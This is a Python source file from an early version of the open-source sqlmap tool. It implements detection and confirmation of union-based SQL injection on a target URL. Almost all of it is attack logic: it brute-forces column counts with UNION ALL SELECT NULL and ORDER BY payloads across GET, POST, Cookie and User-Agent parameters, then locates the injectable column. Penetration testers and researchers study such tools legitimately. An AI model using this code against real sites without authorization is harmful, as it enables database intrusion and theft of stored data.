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228 lines
6.9 KiB
Python
228 lines
6.9 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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from lib.core.agent import agent
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from lib.core.common import randomStr
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.session import setUnion
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from lib.core.unescaper import unescaper
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from lib.parse.html import htmlParser
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from lib.request.connect import Connect as Request
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def __forgeUserFriendlyValue(payload):
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value = ""
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if kb.injPlace == "GET":
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value = "%s?%s" % (conf.url, payload)
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elif kb.injPlace == "POST":
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value = "URL:\t'%s'" % conf.url
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value += "\nPOST:\t'%s'\n" % payload
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elif kb.injPlace == "Cookie":
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value = "URL:\t'%s'" % conf.url
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value += "\nCookie:\t'%s'\n" % payload
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elif kb.injPlace == "User-Agent":
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value = "URL:\t\t'%s'" % conf.url
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value += "\nUser-Agent:\t'%s'\n" % payload
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return value
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def __unionPosition(negative=False, falseCond=False):
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value = None
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if negative or falseCond:
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negLogMsg = "partial (single entry)"
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else:
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negLogMsg = "full"
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infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
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infoMsg += "'%s'" % kb.injParameter
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if negative:
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infoMsg += " with negative parameter value"
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elif falseCond:
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infoMsg += " by appending a false condition after the parameter value"
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logger.info(infoMsg)
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# For each column of the table (# of NULL) perform a request using
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# the UNION ALL SELECT statement to test it the target url is
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# affected by an exploitable inband SQL injection vulnerability
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for exprPosition in range(0, kb.unionCount):
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# Prepare expression with delimiters
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randQuery = randomStr()
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randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
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randQueryUnescaped = unescaper.unescape(randQueryProcessed)
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# Forge the inband SQL injection request
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query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
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payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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# We have to assure that the randQuery value is not within the
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# HTML code of the result page because, for instance, it is there
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# when the query is wrong and the back-end DBMS is Microsoft SQL
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# server
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htmlParsed = htmlParser(resultPage)
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if resultPage and randQuery in resultPage and not htmlParsed:
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setUnion(position=exprPosition)
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value = __forgeUserFriendlyValue(payload)
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break
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if isinstance(kb.unionPosition, int):
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infoMsg = "the target url is affected by an exploitable "
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infoMsg += "%s inband sql injection vulnerability" % negLogMsg
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logger.info(infoMsg)
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else:
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warnMsg = "the target url is not affected by an exploitable "
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warnMsg += "%s inband sql injection vulnerability" % negLogMsg
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if negLogMsg == "partial":
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warnMsg += ", sqlmap will retrieve the query output "
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warnMsg += "through blind sql injection technique"
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logger.warn(warnMsg)
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return value
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def __unionConfirm():
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value = None
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# Confirm the inband SQL injection and get the exact column
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# position
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if not isinstance(kb.unionPosition, int):
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value = __unionPosition()
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# Assure that the above function found the exploitable full inband
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# SQL injection position
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if not isinstance(kb.unionPosition, int):
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value = __unionPosition(falseCond=True)
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# Assure that the above function found the exploitable partial
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# (single entry) inband SQL injection position by appending
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# a false condition after the parameter value
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if not isinstance(kb.unionPosition, int):
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value = __unionPosition(negative=True)
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# Assure that the above function found the exploitable partial
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# (single entry) inband SQL injection position with negative
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# parameter value
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if not isinstance(kb.unionPosition, int):
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return
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else:
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setUnion(negative=True)
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else:
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setUnion(falseCond=True)
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return value
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def __unionTestByNULLBruteforce(comment):
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"""
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This method tests if the target url is affected by an inband
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SQL injection vulnerability. The test is done up to 50 columns
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on the target database table
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"""
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columns = None
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query = agent.prefixQuery(" UNION ALL SELECT NULL")
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for count in range(0, 50):
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if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
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query = query[:-len(" FROM DUAL")]
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if count:
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query += ", NULL"
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if kb.dbms == "Oracle":
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query += " FROM DUAL"
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commentedQuery = agent.postfixQuery(query, comment)
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payload = agent.payload(newValue=commentedQuery)
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seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
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if seqMatcher >= 0.6:
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columns = count + 1
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break
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return columns
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def __unionTestByOrderBy(comment):
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columns = None
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prevPayload = ""
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for count in range(1, 51):
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query = agent.prefixQuery(" ORDER BY %d" % count)
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orderByQuery = agent.postfixQuery(query, comment)
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payload = agent.payload(newValue=orderByQuery)
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seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
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if seqMatcher >= 0.6:
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columns = count
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elif columns:
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break
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prevPayload = payload
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return columns
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def unionTest():
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"""
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This method tests if the target url is affected by an inband
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SQL injection vulnerability. The test is done up to 3*50 times
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"""
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if conf.direct:
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return
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if kb.unionCount is not None and kb.unionPosition is not None:
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return
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if conf.uTech == "orderby":
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technique = "ORDER BY clause bruteforcing"
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else:
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technique = "NULL bruteforcing"
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infoMsg = "testing inband sql injection on parameter "
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infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
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logger.info(infoMsg)
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value = None
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columns = None
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for comment in (queries[kb.dbms].comment, ""):
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if conf.uTech == "orderby":
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columns = __unionTestByOrderBy(comment)
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else:
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columns = __unionTestByNULLBruteforce(comment)
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if columns:
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setUnion(comment=comment, count=columns)
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break
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if kb.unionCount:
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value = __unionConfirm()
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else:
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warnMsg = "the target url is not affected by an "
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warnMsg += "inband sql injection vulnerability"
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logger.warn(warnMsg)
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if value is None:
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value = ""
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return value
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